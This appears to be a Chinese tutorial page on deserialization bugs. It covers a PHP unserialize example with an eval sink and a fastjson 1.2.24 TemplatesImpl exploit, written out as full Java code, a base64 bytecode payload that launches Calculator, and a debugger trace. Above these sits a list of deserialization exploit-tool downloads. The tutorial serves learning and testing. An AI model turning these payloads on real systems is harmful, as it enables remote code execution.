精华内容
下载资源
问答
  • PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列...
  • 这篇博客我将介绍 python反序列化漏洞 任意代码执行 那么怎么反序列化中运行任意代码呢? 首先要说说__reduce__这个魔术方法, 这个方法用来表明类的对象应当如何序列化, 当其返回tuple类型时就可以实现任意代码...
  • 1.shiro反序列化漏洞、暴力破解漏洞检测工具源码 2.shiro反序列化漏洞、暴力破解漏洞检测工具jar包 3.shiro反序列化漏洞、暴力破解漏洞检测工具启动方法 4.shiro反序列化漏洞、暴力破解漏洞检测工具使用方法 5.shiro...
  • java反序列化漏洞利用工具包含jboss|weblogic,网上其实有很多,但是用别人的工具收30分是不是有点不厚道,所以我用自己的分下载下来,然后以最低分贡献给大家,上次没有审核通过,希望这次可以
  • Java反序列化漏洞检查工具V1.2_Weblogic XML反序列化漏洞检查工具CVE-2017-10271
  • 图形界面,该工具支持漏洞检测,请勿用作非法途径,否则后果自负。 Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe Cookie 可以手工指定特定的 Key/Gadget/EchoType(支持多选),如果...
  • Java反序列化漏洞利用工具
  • Shiro1.2.4及以下版本存在反序列化漏洞,该工具用于测试该漏洞。
  • thinkphp thinkphp反序列复现及POC编写 为学习phpggc,部分payload添加进phpggc thinkphp v5.2.x 获取payload ./phpggc thinkphp/rce2 system whoami
  • 好用的Weblogic XML 反序列化漏洞检查工具 CVE-2017-10271 使用范围Oracle WebLogic Server 10.3.6.0.0版本 Oracle WebLogic Server 12.2.1.1.0版本 Oracle WebLogic Server 12.1.3.0.0版本
  • java反序列化漏洞工具

    2019-03-07 17:02:30
    该工具用于验证weblogic反序列化漏洞是否存在,工具语言java
  • java反序列化漏洞利用工具包含jboss|weblogic,网上其实有很多,但是用别人的工具收30分是不是有点不厚道,所以我用自己的分下载下来,然后以最低分贡献给大家,上次没有审核通过,希望这次可以……
  • Jackson官方github仓库发布安全issue,涉及漏洞CVE-2019-14361和CVE-2019-14439,均是针对CVE-2019-12384漏洞的绕过利用方式,当用户提交一个精心构造的恶意JSON数据到WEB服务器端时,可导致远程任意代码执行。...
  • jboss中间件的反序列化漏洞检测工具,可检测主机搭建的中间件并获得shell
  • Telerik UI中用于ASP.NET AJAX的.NET JSON反序列化漏洞的概念验证漏洞,允许远程执行代码。 描述 是用于Web应用程序的UI组件的广泛使用的套件。 它以不安全的方式反序列化JSON对象,从而导致在软件的基础主机上执行...
  • Apache Shiro Java反序列进攻分析及利用 0x00项目地址 0x01概述 两者天被派去去护网&重保,态势感知报告了一条冰蝎的远程代码执行的纠正,在通过日志以及webshel​​l及相关信息,红队大概是通过shiro反序列拿...
  • 使用注意: 1. WebLogic反弹需要等5秒左右 2. 该工具为对外测试版,请尽量按照正常思路来用,比如Url填写清楚,IP地址写对了,报错或者抛异常神马的别怪我,调输入校验好蛋疼。 本工具与网上已公布工具优点: 1....
  • 基于字节码搜索的Java反序列化漏洞调用链挖掘方法.pdf
  • 检测javaRMI反序列化漏洞
  • Weblogic XML反序列化漏洞检查工具CVE-2017-10271,用于网络管理员发现网络中存在的Weblogic XML反序列化漏洞,及时进行修补
  • java反序列化漏洞利用工具,需要安装jdk才能使用,好资源请支持
  • 反序列化漏洞

    千次阅读 2021-01-09 11:42:48
    什么是序列化 ...反序列分为PHP反序列和java反序列化,下面就以PHP反序列化漏洞为切入点,讲述反序列化漏洞核心的原理,其他Java、Python等语言的反序列化漏洞,其原理基本相通。 PHP中的序列化和反序列化

    目录

    一. 关于序列化

    二. PHP中的序列化和反序列化

    1. php代码实现序列化与反序列

    1. 为何会出现反序列化漏洞

    2. PHP中的魔术方法

    3. 总结

    4. 扩展


    一. 关于序列化

    序列化即 将对象的状态信息转换为可以存储或传输的形式的过程(序列化是一种用来处理对象流的机制。所谓对象流也就是将对象的内容进行流化,流(就是I/O)。我们可以对流化后的对象进行读写操作,也可将流化后的对象传输于网络之间(注:要想将对象传输于网络必须进行流化)
           在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象
          简单来说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信 。

           反序列分为PHP反序列和java反序列化,下面就以PHP反序列化漏洞为切入点,讲述反序列化漏洞底层原理,其他Java、Python等语言的反序列化漏洞,其原理基本相通。

    二. PHP中的序列化和反序列化

    PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而代码执行、getshell等一系列不可控的后果。

    1. php代码实现序列化与反序列

    PHP 中的序列化与反序列化,基本都是围绕serialize() 和unserialize() 两个函数展开的。

    web服务器上建立文件夹stu.php,内容如下。代码的意思是我们在其中建立了一个名为Stu的类,并实例化了一个对象$stu1,分别给对象的四个属性进行赋值。将对象打印出来,然后将对象序列化为字符串输出,再反序列还原成原来的对象。

    <?php
    class Stu{
    	public $name;
    	public $sex;
    	public $age;
    	public $secore;
    }
    $stu1 = new Stu();  //一种抽象的数据结构,不方便跨平台进行传输
    $stu1->name = 'xzc';
    $stu1->sex = true;
    $stu1->age=24;
    $stu1->score = 90;
    
    var_dump($stu1);  //1
    
    echo "<hr/>";
    $stu1_str = serialize($stu1); //序列化,格式化为字符串,遵循统一的格式
    print $stu1_str;  //2
    
    echo "<hr/>";
    $stu2 = unserialize($stu1_str); //反序列化,将字符串还原为对象
    var_dump($stu2);    //3
    ?>

    刷新浏览器输出结果如下所示,看见反序列化后还是回到了最初的样子(对象)。

    1. 为何会出现反序列化漏洞

           为了能理解为什么出现反序列化漏洞。我们再建立一个文件。内容如下,代码的意思为:定义一个名为Test的类,类中有一个属性和一个函数。接着实例化了一个对象,将对象输出,再将对象序列化为字符串。此时再反序列化,只不过此时的反序列化接收的字符串写成了动态的。如果此时还是输入一开始的序列化后的字符串就会还原为原来的对象

    <?php
    class Test{
        public $str='xzc;';
        function __destruct(){
            //echo "This is function __construct()";
            @eval($this->str);
        }
    }
    $test = new Test();
    var_dump($test);
    echo "<hr/>";
    
    //序列化
    $test = serialize($test);
    echo $test;
    echo "<hr/>";
    
    //反序列化
    $test = $_GET['test'];
    $test = unserialize($test);
    var_dump($test)
    
    ?>

    ?test=O:4:"Test":1:{s:3:"str";s:4:"xzc;";}

    如果我们还是传一开始对象序列化后的字符串,那么反序列后将还原为一开始的对象,所以下面的1和3相同。

    输出结果如下

    这时,我们将序列化后的字符串进行篡改,如下所示:

    ?test=O:4:"Test":1:{s:3:"str";s:10:"phpinfo();";}

    刷新页面查看,phpinfo()被解析了,既然phpinfo()可以解析,那这里我们就可以换成别的命令语句,从而进行远程命令执行。反序列化漏洞产生了

    那漏洞在何处了?漏洞就出在这个函数上 __destruct(),如下所示

    function __destruct(){   //在销毁对象时自动调用 
            echo "This is function __construct()";
            //@eval($this->str);
        }

    我们先把 @eval()给注释掉,然后换成 echo "This is function __construct()";

    这里我们没有调用函数,语句“This is function __construct()”写在了函数内,通常情况下如果我们没有调用函数,函数内的语句是不会去执行的。如果“This is function __construct()” 被输出了,也就说明函数被调用了。如下

    刷新浏览器发现,函数中的语句进行了输出,说明函数自动进行了调用

           而且函数中的语句被输出了两次,也就是说函数被自动调用了两次。可是我们并没有手动去调用这个方法,它为什么会自动调用了?原来PHP中以 “__” 开头的方法,是PHP 中的魔术方法,其在特定情况下会被自动调用。所以函数中的eval函数也被调用了,从而触发了命令执行。

           那这个方法为什么会被调用两次了?原来__destruct()在销毁对象时会自动调用,因为我们创建了一个对象 $test = new Test() ,后面又反序列化了一个对象,当脚本执行结束,这两个对象都要进行销毁,所以是两次。

            那为什么两次调用的顺序不一样了?一次调用在前一次调用在后。因为对象进行序列化的时候,其实就是将内存中的对象存储为字符串,此时对象会自动进行释放,所以 $test = serialize($test) 后就会马上释放对象从而调用函数。后面反序列化的时候(对象也是放在内存中),脚本执行结束,内存要释放,此时才进行对象的销毁,所以函数是在最后面进行调用。这样就输出了两次。

           接着把 __destruct() 函数换成 __construct , 这个函数在创建对象时会自动进行调用

          刷新浏览器,发现这方法也自动进行了调用,但是它只调用了一次,因为我们只创建了一个对象 $test

    2. PHP中的魔术方法

    上面所了解的那两个方法都以 “__” 开头,其为PHP 中的魔术方法。类中的魔术方法,在特定情况下会被自动调用。

    主要魔术方法如下。

    __construct              在创建对象时自动调用
    __destruct               在销毁对象时自动调用 
    __call()                 在对象中调用一个不可访问方法时,__call() 会被调用
    __callStatic()           在静态上下文中调用一个不可访问方法时调用
    __get()                  读取不可访问属性的值时,__get() 会被调用
    __set()                  在给不可访问属性赋值时,__set() 会被调用
    __isset()                当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
    __unset()		          当对不可访问属性调用 unset() 时,__unset() 会被调用。
    __sleep()	             serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
    __wakeup()		         unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
    __toString()	         __toString() 方法用于一个类被当成字符串时应怎样回应。
     
    __invoke()		          当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
    __set_state()	          自PHP 5.1.0 起当调用 var_export() 导出类时,此静态 方法会被调用。
    
    __clone()			      当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值(如果有必要的话)。

    3. 总结

    反序列化漏洞的核心的地方就是在序列化和反序列的过程中会自动的调用某些函数,而这些函数的设计往往会有一些问题,且其又对需要反序列的字符串没有进行严格的过滤,比如上面写的:

    function __destruct(){

            @eval($this->str);

    //php中eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用因为容易被黑客利用

    4. 扩展

    在渗透测试中,反序列漏洞是非常好用的一个漏洞,利用简单且危害高。下面介绍几个在实战中利用率比较高的反序列漏洞。

    1. Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )  传送门 -> 漏洞复现
    2. fastjson 1.2.24 反序列化导致任意命令执行漏洞
    3. Fastjson 1.2.47 远程命令执行漏洞
    4. Weblogic反序列化漏洞
    5. ......

    ——心,若没有栖息的地方,到哪都是流浪

    展开全文
  • Weblogic 反序列化漏洞检查工具CVE-2017-10271.zip
  • Apache Struts2 官方发布了最新的安全公告,披露了一个远程命令执行漏洞漏洞编号:CVE-2018-11776,官方编号:S2-057),攻击者可利用漏洞实施远程命令执行攻击。特给出struct2.0-2.3.35的修复方案
  • 含p20780171_1036_Generic.zip、p22248372_1036012_Generic.zip、测试工具Test.jar
  • Java反序列化漏洞利用集成工具
  • Java反序列化漏洞利用工具(joomla版本)亲测可用,直接GETSHELL以及执行命令没问题
  • struts2.0反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017等漏洞解决方案,已升级可用
  • 一直知道反序列化漏洞的大概原理和利用方式,但从来没有真正动手调试过,拿来主义终究不可取,于是就有了这篇文章,这里就以fastjson为例,为自己好好捋一捋,沉淀一下。 fastjson介绍 首先创建一个简单Student类: ...


    一直知道反序列化漏洞的大概原理和利用方式,但从来没有真正动手调试过,拿来主义终究不可取,于是就有了这篇文章,这里就以fastjson为例,为自己好好捋一捋,沉淀一下。
    文章有点过分的长,一次可能看不完。。。不过幸好有目录,有需要可以挑自己喜欢的地方看

    环境

    贴上我的pom.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>JavaProject</artifactId>
        <version>1.0-SNAPSHOT</version>
        <dependencies>
            <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.24</version>
            </dependency>
            <dependency>
                <groupId>commons-codec</groupId>
                <artifactId>commons-codec</artifactId>
                <version>1.12</version>
            </dependency>
            <dependency>
                <groupId>commons-io</groupId>
                <artifactId>commons-io</artifactId>
                <version>2.5</version>
            </dependency>
            <dependency>
                <groupId>com.unboundid</groupId>
                <artifactId>unboundid-ldapsdk</artifactId>
                <version>4.0.9</version>
                <scope>test</scope>
            </dependency>
        </dependencies>
    </project>
    

    可以搞一个marshalsec(不想搞的,忽略,后面会有替代代码),在github上下载,解压并在同目录下使用如下命令打包

    mvn clean package -DskipTests
    

    在target目录下可以找到marshalsec-0.0.3-SNAPSHOT-all.jar

    fastjson介绍

    首先创建一个简单Student类:

    package fastjson;
    
    public class Student {
        private String name;
        private int age;
    
        public Student() {
            System.out.println("Student构造函数");
        }
    
        public String getName() {
            System.out.println("Student getName");
            return name;
        }
    
        public void setName(String name) {
            System.out.println("Student setName");
            this.name = name;
        }
    
        public int getAge() {
            System.out.println("Student getAge");
            return age;
        }
    
        public void setAge(int age) {
            System.out.println("Student setAge");
            this.age = age;
        }
    }
    
    

    TestFastJson.java,调用JSON.toJsonString()来序列化Student类对象 :

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    
    public class TestFastJson {
        public static void main(String[] args){
    
            Student student = new Student();
            student.setName("5wimming");
            student.setAge(18);
            String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
            System.out.println(jsonString);
        }
    }
    
    

    FastJson利用 toJSONString 方法来序列化对象,SerializerFeature.WriteClassName是JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法,而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题。

    输出如下:

    # 设置了SerializerFeature.WriteClassName属性
    Student构造函数
    Student setName
    Student setAge
    Student getAge
    Student getName
    {"@type":"fastjson.Student","age":18,"name":"5wimming"}
    
    # 未设置SerializerFeature.WriteClassName属性
    Student构造函数
    Student setName
    Student setAge
    Student getAge
    Student getName
    {"age":18,"name":"5wimming"}
    

    而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObjectJSON.parse ,最主要的区别就是前者未指定目标类的前提下返回的是 JSONObject ,而后者返回的是实际类型的对象。

    parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。

    所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),因此在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    
    public class TestFastJsonDer {
        public static void main(String[] args){
            String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"5wimming\"}";
    
            System.out.println("通过parseObject方法进行反序列化,未指定class,返回一个JSONObject对象:");
            JSONObject obj = JSON.parseObject(jsonString);
            System.out.println(obj);
            System.out.println(obj.getClass().getName());
    
            System.out.println("通过parseObject方法进行反序列化,指定class,返回相应的类:");
            Student obj02 = JSON.parseObject(jsonString, Student.class);
            System.out.println(obj02);
            System.out.println(obj02.getClass().getName());
    
            System.out.println("通过parse方法进行反序列化,返回相应的类:");
            Student obj03 = (Student)JSON.parse(jsonString);
            System.out.println(obj03);
            System.out.println(obj03.getClass().getName());
        }
    }
    
    

    输出如下:

    通过parseObject方法进行反序列化,未指定class,返回一个JSONObject对象:
    Student构造函数
    Student setAge
    Student setName
    Student getAge
    Student getName
    {"name":"5wimming","age":18}
    com.alibaba.fastjson.JSONObject
    
    通过parseObject方法进行反序列化,指定class,返回相应的类:
    Student构造函数
    Student setAge
    Student setName
    fastjson.Student@4f2410ac
    fastjson.Student
    
    通过parse方法进行反序列化,返回相应的类:
    Student构造函数
    Student setAge
    Student setName
    fastjson.Student@722c41f4
    fastjson.Student
    

    Feature.SupportNonPublicField的使用

    fastjson默认情况下是不会反序列化私有属性的,如果需要怼私有属性进行反序列化,则需要在parseObject()函数添加一个属性Feature.SupportNonPublicField。

    举一个栗子:

    我们把student类改改,把私有属性age的set方法去掉(如果不去掉,fastjson依然是能反序列化成功的,因为你提供了这个接口),作为对比,我们把name属性设置为public,并且也注释掉set方法:

    package fastjson;
    
    public class Student {
        public String name;
        private int age;
        public Student() {
            System.out.println("Student构造函数");
        }
    
        public String getName() {
            System.out.println("Student getName");
            return name;
        }
    
    //    public void setName(String name) {
    //        System.out.println("Student setName");
    //        this.name = name;
    //    }
    
        public int getAge() {
            System.out.println("Student getAge");
            return age;
        }
    
    //    public void setAge(int age) {
    //        System.out.println("Student setAge");
    //        this.age = age;
    //    }
    }
    
    

    然后反序列化:

    String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"5wimming\"}";
    Student obj04 = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
    System.out.println(obj04);
    System.out.println(obj04.getClass().getName());
    System.out.println(obj04.getName() + " " + obj04.getAge());
    

    输出如下,发现不带Feature.SupportNonPublicField的age为0,即没有赋值成功,而同样没有set函数的name却可以赋值成功。

    # 带有Feature.SupportNonPublicField
    Student构造函数
    fastjson.Student@5b80350b
    fastjson.Student
    Student getName
    Student getAge
    5wimming 18
    
    # 不带Feature.SupportNonPublicField
    Student构造函数
    fastjson.Student@5b80350b
    fastjson.Student
    Student getName
    Student getAge
    5wimming 0
    

    下面是Fastjson反序列化的类方法调用关系:

    在这里插入图片描述

    JSON:门面类,提供入口

    DefaultJSONParser:主类

    ParserConfig:配置相关类

    JSONLexerBase:字符分析类

    JavaBeanDeserializer:JavaBean反序列化类

    Fastjson会对满足下列要求的setter/getter方法进行调用:

    满足条件的setter:

    • 函数名长度大于4且以set开头
    • 非静态函数
    • 返回类型为void或当前类
    • 参数个数为1个

    满足条件的getter:

    • 函数名长度大于等于4
    • 非静态方法
    • 以get开头且第4个字母为大写
    • 无参数
    • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

    注意,除了getter方法和setter方法外,fastjson还有getIs和setIs方法,用于获取、设置布尔参数。

    漏洞原理

    从前文可知,fastjson在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。

    怎么样才能找到这种有漏洞函数的类呢

    前文中,我们知道fastjson使用parseObject()/parse()进行反序列化的时候可以指定类型。有两种情况我们有可乘之机:

    1、程序员自己实现的类中就包含了这种危险操作,那就可以直接利用了;

    2、反序列化指定的类型太大,包含了很多子类,并且在不在反序列化的黑名单内,极端情况,如Object或JSONObject,像Object o = JSON.parseObject(poc,Object.class)就可以反序列化出来任意类,这种情况下,带有危险操作的类就相当可观了。

    举个例子:

    我们在setName()函数中加入了一个危险操作:

    package fastjson;
    
    import java.io.IOException;
    
    public class Student {
        public String name;
        private int age;
        public Student() {
            System.out.println("Student构造函数");
        }
    
        public String getName() {
            System.out.println("Student getName");
            return name;
        }
    
        public void setName(String name) throws IOException {
            System.out.println("Student setName");
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
            this.name = name;
        }
    
        public int getAge() {
            System.out.println("Student getAge");
    
            return age;
        }
    
    //    public void setAge(int age) {
    //        System.out.println("Student setAge");
    //        this.age = age;
    //    }
    }
    
    

    然后反序列化,便可弹出计算器了

    package fastjson;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    
    import java.io.IOException;
    
    public class TestFastJsonDer {
        public static void main(String[] args) throws IOException {
            String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"5wimming\"}";
    
            System.out.println("测试SupportNonPublicField:");
            Student obj04 = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
            System.out.println(obj04);
            System.out.println(obj04.getClass().getName());
            System.out.println(obj04.getName() + " " + obj04.getAge());
        }
    }
    
    

    反序列化漏洞一

    影响版本

    1.2.22-1.2.24

    基于JNDI注入的利用链

    首先我们定义一个EvilPayload类,这里会弹出一个计算器

    package fastjson;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class EvilPayload extends AbstractTranslet {
        public EvilPayload() throws IOException {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        public static void main(String[] args) throws IOException {
            EvilPayload t = new EvilPayload();
        }
    }
    
    

    创建一个poc类,作为漏洞入口,其中readClass用于将读取EvilPayload的class文件,并且使用base64进行编码,由于反序列化中_bytecodes、_tfactory等都是私有变量,因此parseObject需要参数Feature.SupportNonPublicField:

    package fastjson;
    
    import com.alibaba.fastjson.parser.ParserConfig;
    import org.apache.commons.codec.binary.Base64;
    import org.apache.commons.io.IOUtils;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import java.io.ByteArrayOutputStream;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    
    public class Poc {
        public static String readClass(String cls){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            try {
                IOUtils.copy(new FileInputStream(new File(cls)), bos);
            } catch (IOException e) {
                e.printStackTrace();
            }
            return Base64.encodeBase64String(bos.toByteArray());
        }
        public static void main(String args[]){
            try {
                ParserConfig config = new ParserConfig();
                final String evilClassPath = System.getProperty("user.dir") + System.getProperty("file.separator") + "target/classes/fastjson/EvilPayload.class";
                String evilCode = readClass(evilClassPath);
                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                String text1 = "{\"@type\":\"" + NASTY_CLASS +
                        "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                        "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
                System.out.println(text1);
    
                JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    

    可以看到poc为:

    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEARAoACwAnCgAoACkIACoKACgAKwkALAAtCAAuCgAsAC8KADAAMQgAMgcAMwcANAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAWTGZhc3Rqc29uL0V2aWxQYXlsb2FkOwEACkV4Y2VwdGlvbnMHADUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwA2AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEAEEV2aWxQYXlsb2FkLmphdmEMAAwADQcANwwAOAA5AQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAOgA7BwA8DAA9AD4BAAh1c2VyLmRpcgwAPwBABwBBDABCAEMBAA5maWxlLnNlcGFyYXRvcgEAFGZhc3Rqc29uL0V2aWxQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAoACwAAAAAABAABAAwADQACAA4AAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIADwAAAA4AAwAAAAwABAANAA0ADgAQAAAADAABAAAADgARABIAAAATAAAABAABABQAAQAVABYAAgAOAAAAPwAAAAMAAAABsQAAAAIADwAAAAYAAQAAABEAEAAAACAAAwAAAAEAEQASAAAAAAABABcAGAABAAAAAQAZABoAAgATAAAABAABABsAAQAVABwAAgAOAAAASQAAAAQAAAABsQAAAAIADwAAAAYAAQAAABUAEAAAACoABAAAAAEAEQASAAAAAAABABcAGAABAAAAAQAdAB4AAgAAAAEAHwAgAAMAEwAAAAQAAQAbAAkAIQAiAAIADgAAAEkAAgABAAAAF7IABRIGuAAHtgAIsgAFEgm4AAe2AAixAAAAAgAPAAAADgADAAAAGQALABoAFgAbABAAAAAMAAEAAAAXACMAJAAAABMAAAAEAAEAFAABACUAAAACACY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
    

    其中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl为是那个带有危险操作的类,经过base64编码的payload会经过私有属性_bytecodes传递给_outputProperties函数,从而导致命令执行。另外,在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置。

    调试一下

    在JSON.parseObject处打一个断点,然后debug
    在这里插入图片描述
    然后进入DefaultJSONParser.parseObject(),继续进入:
    在这里插入图片描述
    接着调用了ObjectDeserializer.deserialze(this, type, fieldName)了,继续跟进:
    在这里插入图片描述
    然后就是判断调用DefaultJSONParser.parseObject()还是调用DefaultJSONParser.parse()

    return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
    
    

    在这里插入图片描述
    这里可以调用evaluate窗口进行计算
    在这里插入图片描述
    所以从结果中,可以看到它会调用parse()函数,接着会对内容进行扫描,判断为token为12,调用parseObject(),
    在这里插入图片描述
    接着就是在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)里循环解析json中的内容
    在这里插入图片描述
    往下调试,判断key是否为@type且是否关闭了Feature.DisableSpecialKeyDetect设置,通过判断后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并调用TypeUtils.loadClass()函数加载该类:
    在这里插入图片描述
    然后跟进com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader),看到如红框的两个判断语句代码逻辑,是判断当前类名是否以”[“开头或以”L”开头以”;”结尾,当然本次调试分析是不会进入到这两个逻辑,但是后面的补丁绕过中利用到了这两个条件判断,也就是说这两个判断条件是后面补丁绕过的漏洞点。

    接着将该类名和类缓存到Map中,最后返回该加载的类。
    在这里插入图片描述
    返回后继续接着loadClass往下执行,然后调用deserializer.deserialze(this, clazz, fieldName)对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl进行反序列化
    在这里插入图片描述
